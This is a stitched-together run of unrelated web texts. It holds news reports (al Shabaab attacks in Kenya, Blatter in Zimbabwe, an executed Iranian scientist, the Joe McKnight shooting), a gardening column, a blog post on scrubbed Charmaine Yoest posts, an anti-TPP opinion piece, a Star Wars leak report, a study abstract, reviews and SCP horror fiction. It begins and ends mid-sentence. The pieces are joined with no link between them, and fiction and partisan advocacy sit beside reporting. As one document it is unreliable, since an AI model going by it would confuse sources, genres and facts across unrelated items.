Somali town of Kulbiyow, near the Kenyan border. Kenya said nine soldiers died, while al Shabaab said it killed at least 66. In January 2016, al Shabaab said it had killed more than 100 Kenyan soldiers in El Adde, a Somali camp near the border with Kenya. The military did not release casualty figures from that attack, but media reports supported al Shabaab’s death toll. -• Blatter carries out two-day visit to country • Meets Mugabe and pledges $1m over four years Fifa's Sepp Blatter met the Zimbabwe president, Robert Mugabe, for talks on Monday after the head of world football arrived for a two-day visit to a country where the game is mired in a match-fixing controversy. Blatter, who arrived in Harare on a private jet, inspected training facilities that urgently need funding amid Zimbabwe's troubled economy, and pledged $1m (£620,575) over four years for football schemes in the country. Another $500,000 (£310,300) will be provided to support training under Fifa's worldwide Goal project. "Football is more than kicking a ball," Blatter said at a news conference. "I do not come to Africa to impose European football, I respect particularities and culture. Africa has more talent than Brazil but Africa's talent is not yet developed." Blatter had been scheduled to accompany Mugabe to a women's international match against Malawi, but officials said later that Mugabe did not attend because of a scheduling conflict. -Banned: It is now illegal for Master Gardeners to recommend that gardeners use beer and baking soda to get rid of garden pests. ( Sonia Day / Toronto Star ) Will baking soda and water control black spot on roses? Does neem oil get rid of the dreaded lily beetle on Asiatic lilies? Can dishes of beer attract slugs away from plants? Article Continued Below Yes to all three. But don’t ask a Master Gardener for more information. It is illegal for them tell you. Truly. I’m not kidding. The heavy hand of Big Brother is now reaching right into our gardens. The following email recently went out to the 80 or so women and men who belong to the Master Gardeners of Toronto: “It is ILLEGAL TO RECOMMEND HOMEMADE REMEDIES FOR PEST CONTROL A MG in Ontario may not write, advise or recommend to anybody that they use Neem oil, soap, alcohol, baking soda, ketchup or any other concoction that worked for Grandma. Anything we recommend has to be approved by the government as a pesticide.” The caps are theirs, not mine. Presumably, a similar edict has been sent to other Master Gardeners across the province. But c’mon. Are the pesticide police really going to prosecute me for giving people advice about such things? Article Continued Below If the answer’s yes, then I say: bollocks. This government ruling (which appears to have its origins in the Ontario Pesticide Act) is just another example of bureaucracy gone mad. Many of these so-called “home remedies” (the sniffy term the Ministry of the Environment uses to describe simple gardening tips) have been been around for years. They were used by our grandparents. And they work. If — as the edict implies — there is something terribly dangerous about resorting to these measures in our gardens now, let’s hear what they are. Before taking this Draconian directive seriously, I want proof that they have actually caused harm to someone or something. The powers-that-be who dreamed up this absurd law should be aware, too, that Master Gardeners are thoughtful, intelligent, well-informed folks, who undergo extensive training before assuming their role of educating the public about gardening. To become an MG, you must first slog through two years of intensive horticulture correspondence courses from the University of Guelph (I know. I did it 20 years ago) then agree to keep learning more at monthly meetings. We acquire a wealth of useful knowledge — which we’re happy to pass on to others for free. (MGs are all volunteers). We are not a bunch of brainless ninnies who advocate taking damaging or dangerous steps to get rid of pests and diseases in the garden. Denying people access to what we know is ludicrous. Especially nowadays, when there’s a real thirst for information about practical alternatives to conventional pesticides. Must we — sigh — become fearful of absolutely everything in our lives? If you agree, please send a protest to minister.moe@ontario.ca And while you’re at it, a copy Toronto Master Gardeners (toronto.mg@hotmail.com ) who — distressingly — seem content to seal their lips about the benefits of baking soda and whatnot — and simply bow to what the government wants. As for me, wanna know a “home remedy” for earwigs? Whoops. Can’t tell you. I see the pesticide police arriving . . . Read more The Real Dirt from Sonia Day END www.soniaday.com ->>> Charmaine Yoest has been a vocal spokesperson for the conservative Christian fundamentalist movement, appearing on CNN, Fox, MSNBC, and in print media to excoriate reproductive rights, the "homosexual agenda," transpeople, feminism... all the usual targets of the religious right. She served in the Reagan White House, and she was president and CEO of Americans United for Life from 2008 to early 2016. She and her husband also run a blog to promote her views: Reasoned Audacity a/k/a charmaineyoest.com. In late April 2017 Trump appointed her to a high-level position in the Department of Health and Human Services: Assistant Secretary for Public Affairs, which means she's in charge of the Department's communications with the press and the public. She oversees HHS's website and social media, press releases, media campaigns, speechwriting, Freedom of Information Act division, and promotion of public-health initiatives. Immediately, the Yoests scrubbed charmaineyoest.com of certain posts. They were very selective. Everything about abortion stayed. Everything about LGBTQ matters was deleted. Most posts about Christianity were left in place, although a few were cut. And one posting about rape was taken down. Some of the missing posts are in the Internet Archive's Wayback Machine, but many aren't. After Dave Maass raised the alarm that Yoest was covering her tracks, I tracked down a good number of the missing posts in Google's cache, as well as the Wayback Machine. A webpage in Google's cache usually disappears within days of the original webpage going offline, so they needed to be grabbed quickly. I'm presenting what I saved below. Yoest's husband Jack apparently writes most of the posts, although Charmaine writes some. Jack also sometimes responds in the comments section of posts. He's a business consultant who, with Charmaine, runs Management Training of DC, LLC and refers to himself in posts as "Your Business Blogger (R)." -Despite growing polarization between the left and the right, there are a few things that both sides agree on. The United States Constitution and the will of the people as expressed through their vote are pretty core to both sides of our divided nation and central to democratic principles. With Obamas approval rating below 45 percent and Congress's approval rating below 30 percent, it's fair to say that Americans from all sides of the political spectrum can also agree that D.C. is doing a poor job of acting in the interests of the American People. With confidence in our leaders at an all-time low it is a bit suspicious to see Obama and Mitch McConnell having a love-fest over the Trans Pacific Partnership. This supposed trade deal has far-reaching legal implications for our nation and beyond but it has been negotiated in secret without oversight from Congress or the American People. No matter where you stand on environmental issues or GMOs, you should be alarmed at the idea of large corporate interests overturning the vote of citizens in a democratic society. That is exactly what is happening in Vermont where the Grocery Manufacturers Association is suing to overturn a ballot initiative approved by voters, and also in Maui where Monsanto is suing to overturn another. The issues in these separate cases are secondary to fact that these lawsuits are financial retribution to both liberal and conservative voters that will cost a whole lot of money for taxpayers. These lawsuits are also political retribution to leaders, whether they be Republican or Democratic, who support popular measures initiated by their constituents. This strikes at the heart of democratic principles. The Trans Pacific Partnership paves the way for international law to overturn the voters' will in America and in the other countries who have signed on to the agreement. Luckily we still have time to make sure that this agreement is not signed into law by our leaders. Obama has been pushing to pass this secret agreement without Congressional oversight, which is added shame to a president who campaigned on the notion of transparency. Wikileaks has spoiled this agenda with numerous leaks detailing just how bad this agreement is for Americans as well as the rest of the countries involved with it. Lori Wallach of Public Citizen's Global Trade Watch, notes that Republicans have themselves in a bit of a bind over this issue as well stating, "it is kind of hard for the Republicans to voluntarily delegate more authority (to Fast Track TPP) to the guy (Obama) they've been attacking as the imperial president who grabs power that's not his." Wallach describes fast track as, "a procedure that basically gives Congress's authority over trade to the president. Congress ends up handcuffed, and an agreement gets negotiated, signed before the Congress ever approves it, and then the president gets to write legislation. It's not subject to committee amendment, and it gets a guaranteed 90-day vote with no amendments." The lawsuits we are seeing in Maui and Vermont would pale compared to the power that TPP would have to overturn the will of local, state, and national voters. Wallch goes on to state, "it would increase the duration of patents for Big Pharma and, as a result, give them windfall profits but increase our medicine prices. It could roll back financial regulation on big banks. It could limit Internet freedom, sort of sneak through the back door the Stop Online Piracy Act, SOPA. And -- they love this -- it would give special privileges and rights for foreign corporations to skirt around our courts and sue the U.S. government to raid our treasury over any environmental, consumer health law that they think undermine their expected future profits, the so-called "investor-state" enforcement system. Plus, it would have the NAFTA-style rules that make it easier to offshore jobs, making it easier to relocate to low-wage countries." Others have noted that TPP could make GMO labeling illegal, and also make "buy American" initiatives illegal because they interfere with multi-national corporations desire to remain unchallenged regarding anything that stands in their way to make money. TPP would also suppress environmental and public health initiatives that voters might pass in order to protect themselves or their local resources. As if that wasn't scary enough, Wallach continues, "unlike most of our international agreements, the TPP has two strong enforcement mechanisms. First, if the U.S., for instance, were to continue to buy American and give that preference to our domestic economy, or, for that matter, states with Buy Local or communities with Buy Local school food, all of those things would be a violation of that agreement. Then, what happens is, any other country can drag the U.S. into a TPP tribunal, and if we don't get rid of the law, the U.S. would face perpetual trade sanctions, fines. This is actually enforceable international corporate law. The TPP provisions on investment would make some of the TPP constraints on policy actually enforceable by private individual companies, when an individual company could privately enforce a public treaty by insisting the U.S. government compensate the private investor or company out of our taxpayer dollars for any violation of the agreement that undermines their expected future profits." If you thought that bailing out bankers with taxpayers money was bad, TPP is a whole lot worse. But there is hope! Between now and January is our window to act. Call your local representatives, share this article and others which expose the TPP for what it really is. By contacting your incoming representatives now before they arrive in Washington in January, you will be able to have your voice heard before they are inundated with lobbyists who are bent on pushing the TPP into law. As we know, endless favors and money often have the ability to sway the opinions of politicians. Now is your time to act before it is too late. You can find contact information for your local representative here. It only takes a few minutes to call and tell them that you do not support fast track and you do not support TPP. You can listen to the whole interview with Lori Wallach here. For once, Americans on both sides of the aisle have something to agree on... TPP is bad for citizens, bad for the environment, bad for local initiatives, bad for public health, and bad for our future. Why else would they be trying to negotiate this deal in secret? Now is our moment to act. This will only get worse if you decide to look the other way. Take responsibility for your freedom as an American voter, and call your representatives now! -An Iranian nuclear scientist who had defected to the US was executed in Iran, according to reports in the local press on Saturday. Shahram Amiri was a nuclear researcher at Malek Ashtar University of Technology and worked for Iran’s Atomic Energy Organization. He is said to have had in-depth knowledge of Iran’s rogue nuclear program. His family said he was executed on August 3 and that they had been allowed to visit him the day before. Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up Amiri disappeared briefly while on pilgrimage in Saudi Arabia in 2009 and resurfaced in Washington some time later. While in the US, he recorded and posted a series of bizarre videos, first claiming he had been kidnapped by US and Saudi agents and forced to reveal sensitive information while “under intense psychological pressure,” and in a second video, saying he was living in Arizona and wanted to study there. In a later post, he said he wanted to go home. According to some reports, his family was harassed and tortured in a bid to force him to return to Iran, which he did in 2010 to a hero’s welcome, before disappearing again. It later became clear that he had been arrested and given a long prison sentence. He was reportedly held under very difficult conditions. -Heavily spoiler-laden script rundown purports to reveal why Rey is so strong with the Force, and the return of Hayden Christensen as ghost of Anakin Skywalker The full plot of the next Star Wars movie and the true identity of Daisy Ridley’s mysterious Rey have reportedly been revealed by a Reddit user who claims to have read the film’s script. The heavily spoiler-laden script rundown, for the follow-up to JJ Abrams’s blockbuster The Force Awakens, explains why the staff-wielding space scavenger is strong with the Force, and features one major revelation that, if true, would be as shocking a plot twist as Darth Vader’s “I am your father” moment in 1980’s The Empire Strikes Back. UK fans annoyed by absence of extras from Star Wars: The Force Awakens DVD Read more Among the more minor, less spoilery revelations are the return of Yoda, Obi-Wan Kenobi and … yes, you read it right … Hayden Christensen’s Anakin Skywalker as Force ghosts, and the unveiling of Benicio del Toro as a political leader tasked with overseeing the crumbling Republic in the wake of the disastrous Starkiller Base planetary attacks in Abrams’s film. New cast member Kelly Marie Tran is revealed to be a contact of Carrie Fisher’s Leia, who engages in a flirty subplot with John Boyega’s Finn as the pair investigate the underbelly of a city on a key Republic planet. Looper director Rian Johnson is currently shooting Star Wars: Episode VIII at Pinewood Studios in England, Dubrovnik, Croatia, and on location in Donegal and on the island of Skellig Michael, Ireland. There have also been reports the production has shot scenes near Las Vegas in the US. The new movie, which the Reddit report claims has the working title of Star Wars: Echoes of the Dark Side, is due in cinemas on 15 December 2017. Ridley, Boyega and Fisher will be joined by Force Awakens returnees Mark Hamill (Luke Skywalker), Adam Driver (Kylo Ren), Andy Serkis (Supreme Leader Snoke), Lupita Nyong’o (Maz Kanata) and Oscar Isaac (Poe Dameron), while Del Toro and Laura Dern are among newcomers to the cast. To read the full Reddit thread on the rumoured plot leak (WARNING: MAJOR SPOILERS) click here. -Abstract Considered an indicator of self-awareness, mirror self-recognition (MSR) has long seemed limited to humans and apes. In both phylogeny and human ontogeny, MSR is thought to correlate with higher forms of empathy and altruistic behavior. Apart from humans and apes, dolphins and elephants are also known for such capacities. After the recent discovery of MSR in dolphins (Tursiops truncatus), elephants thus were the next logical candidate species. We exposed three Asian elephants (Elephas maximus) to a large mirror to investigate their responses. Animals that possess MSR typically progress through four stages of behavior when facing a mirror: (i) social responses, (ii) physical inspection (e.g., looking behind the mirror), (iii) repetitive mirror-testing behavior, and (iv) realization of seeing themselves. Visible marks and invisible sham-marks were applied to the elephants' heads to test whether they would pass the litmus “mark test” for MSR in which an individual spontaneously uses a mirror to touch an otherwise imperceptible mark on its own body. Here, we report a successful MSR elephant study and report striking parallels in the progression of responses to mirrors among apes, dolphins, and elephants. These parallels suggest convergent cognitive evolution most likely related to complex sociality and cooperation. -Book 1 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 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2006-2018 Evan Dahm. All contents copyright 2006-2018 Evan Dahm. Some rights reserved. is an anthropological fantasy epic; a story following a member of a nomadic culture caught in the midst of a clash of cultures. It was started in July 2010 and is updated a few times a week. Winner of the 2014 Ignatz Award for Best Online Comic, and the 2013 Stumptown Comic Arts Award for best webcomic. Follow along via Tumblr Facebook , or RSS -Between the usual Art Basel madness and the gala opening of Pérez Art Museum Miami, the Magic City enjoyed more than its fair share of fantastic exhibits in 2013. Only one, however, featured Game of Thrones star Peter Dinklage dressed in drag portraying a 17th-century German dwarf. That honor goes to Eve Sussman's "Rufus Corporation," a blockbuster at the Bass Museum that not only reaffirmed Sussman as one of the most important contemporary artists working today but also marked the museum's growing profile on the local scene. The stellar exhibit boasted a series of films, photos, installations, and videos, including the star turn by Dinklage. Sussman cast him in her 89 Seconds at Alcázar, a 12-minute film that garnered international attention when it debuted at the 2004 Whitney Biennial. Dinklage took the part — as Mari Barbola, a German dwarf made famous in Diego Velázquez's enigmatic opus Las Meninas, a scene from the Spanish court of King Philip IV in 1656 — before he catapulted to Hollywood fame. The movie re-envisioned what transpired among the Spanish royal family, their servants, a dog, and the painter at their summer palace more than 350 years ago, transporting Bass visitors to an opulent age. But for all of Dinklage's star power, the show stealer was Sussman's feature-length video-musical The Rape of the Sabine Women, which reinterpreted the founding of Rome in an unforgettable way. Originally shot for the big screen, the 80-minute movie was transformed by Sussman into a five-part installation that turned spectators into actors in an epic production. Sussman presented the haunting imagery shot in the Mediterranean with modern actors on 30 screens, including sprawling wall projections; a stand-alone, house-like construction near the rear of the museum; several postcard-size video monitors; and a massive installation of TV sets piled randomly on the floor, reminiscent of a technological junkyard. -While ‘realpolitik’ has often been understood negatively, associated primarily with Henry Kissinger and used to denote cynical approaches to foreign policy, this new book by John Bew, Realpolitik: A History, offers a more nuanced history of the term by tracing its development from its initial conception in mid-nineteenth-century Germany to the present day. Robert Ledger applauds this expertly written and fascinating text for showing the importance of considering ideas as embedded within particular, and changing, social contexts. Those who read this work will view ‘realpolitik’ in a new light. Realpolitik: A History. John Bew. Oxford University Press. 2016. Realpolitik: A History , the new book by John Bew, is a study of a much-used, and little understood, term that is deployed generically to denote a cynical foreign policy, and often linked with Henry Kissinger. The author describes the development of realpolitik from its original conception in mid-nineteenth-century Germany through to its association with US foreign policymakers from the 1970s up until the present day. Realpolitik is absorbing history as well as an important examination of political ideas and labels. John Bew teaches history and foreign policy in the War Studies Department at King’s College, London. His previous books include Castlereagh, a biography of the arch-strategist of British foreign policy at the Congress of Vienna. Realpolitik starts a little later, in the wake of the European revolutions of 1848. German writer and liberal Ludwig von Rochau published The Foundations of Realpolitik in 1853, primarily with domestic politics in mind. The insights he described included that the ‘law of the strong is the determining factor in politics’; that ‘the most effective form of government is one that incorporates the most powerful social forces within the state’; that ideas matter depending on how they influence society; and finally that public opinion or the Zeitgeist (the ‘spirit of the age’) is crucial in determining a nation’s direction (32). For Rochau, utopianism was folly but liberal ideals were important. Originally realpolitik had an analytical element, whereby political realities had to be taken into consideration before longer term goals could be reached. Rochau believed that the pursuit of higher aims was compatible with short-term goals (54). Realpolitik then explores how these initial principles developed, through German unification and the foreign policy of Bismarck, into the twentieth century. A consistent theme is that the nuances of Rochau’s Foundations were quickly lost, becoming synonymous with value-free pragmatism and a cynical, Machiavellian pursuit of power. A number of German thinkers adopted the term realpolitik, and all deviated from Rochau’s principles. Heinrich von Treitschke, for instance, popularised realpolitik and infected it with his anti-Semitism and nationalism. By the turn of the century there was also a linkage with German weltpolitik (overseas expansion) and machtpolitik (the politics of force). How interpretations of realpolitik became absorbed into the lexicon of political discourse in the English-speaking world is discussed at length. The British came to see it as interchangeable with German skulduggery during the First World War years and later, in the 1930s, as a return to Castlereagh’s statecraft in pursuing fascist appeasement. Bew points out how hypocrisy was never far away, for instance in Britain and France’s 1916 Sykes-Picot Agreement, which carved up the Middle East. Perhaps most important was the influence of German realpolitik on writers and politicians in the United States. Whereas in Britain the term had been viewed mainly in a negative fashion, Americans saw things differently. During the First World War, journalist Walter Lippmann set out how the US could deploy self-interest and ‘robust liberal internationalism’ to reshape the global order in its own favour (130). This line of thinking came to influence Cold Warriors such as George Kennan – who famously outlined a policy of containment towards the Soviet Union – and Dean Acheson, Secretary of State under Harry Truman. Concurrently, the new discipline of international relations, and in particular the ‘realist’ school, made an impact on US foreign policy. Realists such as Hans Morgenthau, Reinhold Niebuhr and Kenneth Waltz were all prominent during this period. Bew describes how these thinkers shared some lineage with German realpolitik as well as significant differences. For instance, Waltz’s scientific realism – sometimes called structural or neo-realism – puts little emphasis on historical and cultural factors. Image Credit: US Secretary of State Henry A. Kissinger uses the telephone in Deputy National Security Advisor Brent Scowcroft’s office to get the latest information on the situation in South Vietnam, 29/04/1975. White House Photographic Office. (NARA) This will be enlightening for those of us who have tended to use terms such as ‘realpolitik’, ‘geopolitics’ and ‘realism’ interchangeably. In addition, many readers will most readily identify the concept with the policies of Henry Kissinger, as National Security Adviser and then Secretary of State under Presidents Richard Nixon and Gerald Ford. Although Kissinger rarely used the term himself, his grand strategy as well as his academic career were obviously linked to the tradition. A number of policies under Kissinger’s watch seemed to favour political contingency over human rights: for instance, backing authoritarian allies from General Pinochet in Chile to the Shah of Iran, as well as bombing North Vietnam to the negotiation table. Jimmy Carter’s emphasis on human rights was a reaction to the dark arts of the Kissinger years. Nevertheless, it is worth pointing out that the third ‘basket’ of the 1975 Helsinki Final Act was signed while Kissinger (however sceptical he may have been) was still in office and made provisions for human rights protections, a factor some have identified as a precursor for the people power in the communist bloc a decade later. In this respect, it was pure Rochau: a short-term compromise with one eye on a long-term ideal. As well as being a fascinating and unique historical work, Bew’s book is an important study of the development of political ideas and the terms they encapsulate. Ideas must be considered in the context of time, location and cultural factors. Realpolitik aptly demonstrates how ideas are manipulated and polarised, in this case into realpolitik and anti-realpolitik strands. The reality is one of graduation and interpretation. Neither ideals, self-interest nor political reality can be absent from domestic or foreign policy. Bew concludes by returning to Rochau’s original realpolitik. As an analytical tool, it is highly relevant and hard not to escape the conclusion that these principles would have proven useful in a number of contemporary scenarios, the Arab Spring being just one example. Realpolitik: A History is an expertly researched and written book. It will appeal to academics and students interested in nineteenth- and twentieth-century European and US history, foreign policy and the history of international relations. Having read it, you will never use the term in quite the same way again. Robert Ledger has a PhD from Queen Mary University London in political science, his thesis examining the influence of liberal economic ideas on the Thatcher government, and an MA in International Relations from Brunel University. He has worked in Brussels and Berlin for the European Stability Initiative – a think tank – on EU enlargement and human rights issues. He has published widely on European and British politics, edited the Journal of International Relations Research and is also a regular contributor to Global Risk Insights, a political risk group. Read more reviews by Robert Ledger. Note: This review gives the views of the author, and not the position of the LSE Review of Books blog, or of the London School of Economics. -SCP-2488 SCP-2488 Object Class: Neutralized Safe Special Containment Procedures: Any recovered instances of SCP-2488-1 are to be stored in Site-23's Refrigerated Containment Unit 23-4. Individuals in possession of SCP-2488 instances, or possessing knowledge of SCP-2488 are to be amnesticized on a case-by-case basis. Description: SCP-2488 refers to a series of anomalous phenomena that occurred between April 21, 1933 and 1939. During this period, an organization known as the Safety Harbor Milk Bottle Delivery Service operated within Safety Harbor, Florida. The parameters of its tasks were to intake empty milk bottles and deliver full bottles of milk bearing the brand label "Safety Harbor Milk" (hereafter known as SCP-2488-1). No deliverymen or vehicles were sighted during delivery hours, and SCP-2488-1 materialized where no human observers could observe the event. On April 21, 1933, a full bottle of milk manifested on the threshold of every populated household within the city limits of Safety Harbor. Safety Harbor did not previously own a milk bottle service, due to economic hardship during the 1930s. The population of Safety Harbor is recorded to have shown misgivings towards SCP-2488 events upon initial manifestation. However, over time, SCP-2488 became an integral portion of Safety Harbor. SCP-2488 events occurred every night, at 00:03. Any empty milk bottle labelled as a Safety Harbor Milk bottle demanifested, if placed upon any portion of its linked household that could be defined as a "threshold", "patio", or "porch". At 00:05, an instance of SCP-2488-1 manifested for every received milk bottle. When consumed, SCP-2488 was known to give the consumer increased physical capability. Although this improvement did not significantly impact Safety Harbor, it allowed for an increased level of productivity that led Safety Harbor into a marginally improved economic and societal standing. If, at any time, an active citizen of Safety Harbor consumed SCP-2488-1, they were subject to the effects of SCP-2488. Following death, citizens of Safety Harbor would become reanimated, with drastically increased physical strength and stamina and progressive but usually minor cognitive decay. It became a major source of manual labor, which allowed for the development of more diverse professions for living citizens. Subjects who consumed SCP-2488-1 did not report its effects to be distressing. According to witnesses affected by SCP-2488, there was some concern related to SCP-2488 when reanimated corpses were first encountered, but most subjects declared the reanimation events to be "a boon". Reanimated subjects had an additional lifespan of 3-5 weeks, and only reanimated if the body was fully intact following death. Subjects were known to dig their own graves as they neared the end of their second lifespan, which became the subject of formal ceremonies similar to burials. However, these events were documented as more lively and upbeat. Reanimated subjects, although initially documented as startling, became a normal occurrence for citizens of Safety Harbor. Addendum 2488-Alpha: Original Containment Procedures Hide Addendum CONTAINMENT PROCEDURES, 1933 TO 1939 At least ten Foundation personnel are to be planted within Safety Harbor, Florida, while SCP-2488 persists. Investigations into the Safety Harbor Milk Delivery Service are considered top priority during SCP-2488 containment. However, the Second Life Labor Service is also to be implemented, in order to attempt to normalize life in Safety Harbor, while accounting for SCP-2488's effects. Census information from Safety Harbor is to be supplied remotely by Foundation personnel during containment development. Anyone attempting to enter Safety Harbor or approach it will be deterred by Foundation personnel posing as National Guard. The official cover story during containment is to establish that the area is currently undergoing sensitive relations with Native American peoples. Similarly, those who attempt to leave Safety Harbor are to be deterred with the news that nearby areas are undergoing conflict with Native American peoples. If interest in the cover story is generated in public media outside of Safety Harbor, Foundation personnel are to immediately repress emphasis on the town. Interests are instead to be directed towards northern regions of Florida as much as possible. DISCOVERY: SCP-2488 was first noted by a local publication claiming an uprising of the undead in west central Florida. The article, once investigated, was covered a second time in the same publication, and explained as a hoax. Peoples attempting to investigate Safety Harbor for themselves were deterred as the Foundation initiated investigation. The initial questioning of the mayor of Safety Harbor, Jackson Burk, led to the knowledge of a recent act of vandalism. The town's local Native American burial mound had been disturbed and laced with various litter as a rebellious act, in consequence of a newly established curfew. All the litter from the surface and first ten centimeters of the mound was removed, but it was otherwise left undisturbed during the investigation. Addendum 2488-Beta: Miscellaneous Recovered Documents Hide Addendum DOCUMENT 2488 15-C Source of Documentation: Summary of Town Hall Meeting, circa mid 1933 The meeting transcript implies that this was the first encounter with the anomaly related to SCP-2488. Several moments of hysteria among attendees broke out during the course of the meeting, calling for the mayor to sequester the newly reanimated subjects. It was, however, the sentiment of a small group of attendees that this was a newly raised opportunity from God. This group was later identified as members of the Safety Harbor Christian Chapel. Citizens of Safety Harbor agreed to isolate recently dead persons in a location that supposedly no longer exists. At the time, it was used as a general storage area for the town, near the western limit. Reanimated persons were to be held here until their second expiration. A rotating one-month cleanout process was established. DOCUMENT 2488 17-C Source of Documentation: Summary of Safety Harbor Chapel board meeting, circa mid 1933 The meeting's transcript implies some disagreement over the board's stance on the reanimated subjects. The discussed religious implications mostly resulted in dissent and disagreement among members, some of which opposed the confinement of reanimated persons. By the end of the meeting, no official verdict was established. DOCUMENT 2488 23-C Source of Documentation: Summary of Town Hall meeting, circa early 1934 This is the third documented meeting solely on the topic of SCP-2488 events. Citizens show less aversion to reanimated subjects than before, after discussion of recent events. According to the transcript, a group of citizens (mostly from two of the town's larger families) broke into the warehouse and freed their reanimated relatives. After most reanimated persons had left the premise, a large procession was held for the proper burial of those who had experienced their second expiration. A mob of other citizens gathered to re-contain reanimated persons. It was at this time that Foundation personnel stepped in, suggesting that reanimated persons may not be inherently violent or ill-willed, like many held as a preconceived notion. During this night, after a Foundation-facilitated agreement was made between a significant portion of the town, the first "grave parties" were held. Although the original intent was a small town gathering the following day, the expiration of several reanimated persons led to their burial during the festivities, which initiated a newly found notion of "grave parties". DOCUMENT 2488 34-C Source of Documentation: Summary of Mayor Burk's self-presented eulogy, circa late 1935 The eulogy delivered by Mayor Burk, apparently while standing on a podium over his self-dug grave, summarizes events since the beginning of SCP-2488 manifestation events. (This also marked the beginning of the tradition for reanimated subjects to dig their own graves, which was integrated as a part of "grave parties".) The presence of reanimated subjects at this time is considered a normal occurrence in Safety Harbor, and the original misgivings of citizens are restated. Despite the fear, and the destruction of the original town hall during the first reanimation event, Safety Harbor is summarized as showing immense growth, especially with the construction of a new town hall in early 1934, by reanimated subjects and living subjects alike. After delivering this eulogy, the "grave party" ensued until Mayor Burk stated a slowly approaching weakness coming over him, at which point he was lowered into his grave, and the celebration continued with a ceremonial filling of the grave and a second dessert course. Notes from Investigation Member Taylor: This recovered documentation was discovered as investigation into SCP-2488 was initiated. An abandoned office space found near the center of Safety Harbor, roped off as "Heritage Restoration In Progress", was one of the first subjects for investigation. No one had ever heard of the place before, and it didn't show up on the town map. It was, as the mayor said, a storage space full of heritage documents that they didn't dare to go through, lest they damage or lose any of them. Prior to amnesticization, we inquired a little into the SCP-2488 events, to see if he knew anything. The mayor couldn't tell us much, other than that it was some old folklore rolling around the town. Addendum 2488-Gamma: Investigative Documentation Hide Addendum INVESTIGATION RECORD 12-A Date of Investigation: March 11, 1994 to March 13, 1994 Subject of Investigation Subset 12-A: Philippe Park, Safety Harbor, FL Investigator: Ron Taylor Investigative Log: So, the first things on our list of locations to hit up were those of historical and community value. Of course, we combed through every "heritage" location in the town, and it turned up with a lot of written evidence, but nothing solid. Nothing directly implied that this was anything but a huge hoax put on by a generation of practical jokers. That was, until we went into Philippe Park. It wasn't high on the list of priorities, but as a National Historical Landmark site, we had to check it out. With the initial readings, the metal detectors, the sonic detection membranes, radiation counters, we weren't getting anything more than old coins and a few rusty nails. There was only one thing left to go through, and that was the burial mound. The Tocobaga people supposedly resided here, some long time ago. Way before the town was officially established. We had to set up this blinded pavilion around it, to make sure no one was suspicious of it, and we roped off the area. After the local government was ensured we wouldn't meddle with things, and we established a cover story for the removal of invasive plant species, we were going through it. It wasn't potentially destructive root systems that we found down there, though. Along with the decomposed remains of a supposed Tocobaga native, we found a milk bottle. We can't make heads or tails of it. There's some further investigation going into it now. The brains over at 147 think they've found some sort of radiation coming off of it that's interfering with most of our investigation into it, but we're trying to see if we can glean much else. So far, everything has been negligible. We did a bit of research into the Tocobaga people. Records indicate that they were driven from the area by the Spanish around 1528, and left behind this burial mound. It was once a place of ceremony, where the native people could celebrate various events - among them was death, which, according to recovered artifacts, was seen as a passing on rather than a final ending for life. They had this belief of ancestral spirits - once their elders died, the elders' spirits would remain to assist the living in intangible ways, and watch over them. The Tocobaga people, those that survived, dispersed among the population. We couldn't find much on what the few survivors did as they moved on, but we did find one document. In one of the smaller heritage sites near the edge of town, there were some documents, journals, that implied that the resident had some native heritage in them. There were many indications that not only was this individual important in the preservation of this site, but also that they visited it, on a daily basis, early in the morning, following the vandalism. The individual's documents end abruptly in November of 1939, which correlates to some of the approximate ending dates for SCP-2488 events. We've initiated some more investigation into the individual, but, I don't think much will turn up. Addendum 2488-Delta: On September 29, 2001, the discovery of an intact SCP-2488-1 instance occurred in Safety Harbor. The instance was confiscated by Foundation personnel, following the report in a local publication of a new heritage artifact, and subjected to chemical testing. No anomalous properties were discovered in the milk, and the instance was stored in Site 23's Refrigerated Storage Unit 23-4. Despite attempts to preserve the milk, it spoiled and curdled after one week of recovery. Further investigation into SCP-2488 has been reopened, and instances have begun to manifest randomly in adjacent cities as well. Testing has shown that these instances of SCP-2488-1 show similar properties to documented events. Full investigation has been initiated, per request from Site 23 research personnel. -Joe McKnight homicide Residents in Ronald Gasser's Gretna neighborhood identified the man shown in this photo, taken by a witness, as Gasser. The photo was taken minutes after former NFL player Joe McKnight was gunned down at the corner of Behrman Highway and Holmes Blvd. in Terrytown on Thursday, December 1, 2016. (Handout Photo) Ronald Gasser, the man authorities say shot and killed former NFL player Joe McKnight, was released from custody overnight without being charged, Jefferson Parish Sheriff's Office authorities said Friday morning (Dec. 2). Gasser, 54, has not been formally charged, said JPSO spokesman Col. John Fortunato. Investigators are consulting with the district attorney's office on the decision whether to formally charge Gasser, Fortunato said. As the investigation into McKnight's death continues, Fortunato asked anyone with information about the shooting to contact department homicide detectives at 504-364-5393. McKnight, 28, was shot about 3 p.m. Thursday (Dec. 1) at the intersection of Behrman Highway and Holmes Boulevard in Terrytown. A witness, who declined to give her name, said she saw a man at the intersection yelling at McKnight, who was trying to apologize. The man shot McKnight more than once, the witness said. She said he shot McKnight, stood over him and said, "I told you don't you f--- with me." Then the man fired again, she said. Ronald Gasser did not stand over Joe McKnight when he shot him, JPSO, coroner say Evidence and autopsy results show Gasser, the man authorities say admitted to fatally shooting Joe McKnight, did not fire on the former NFL 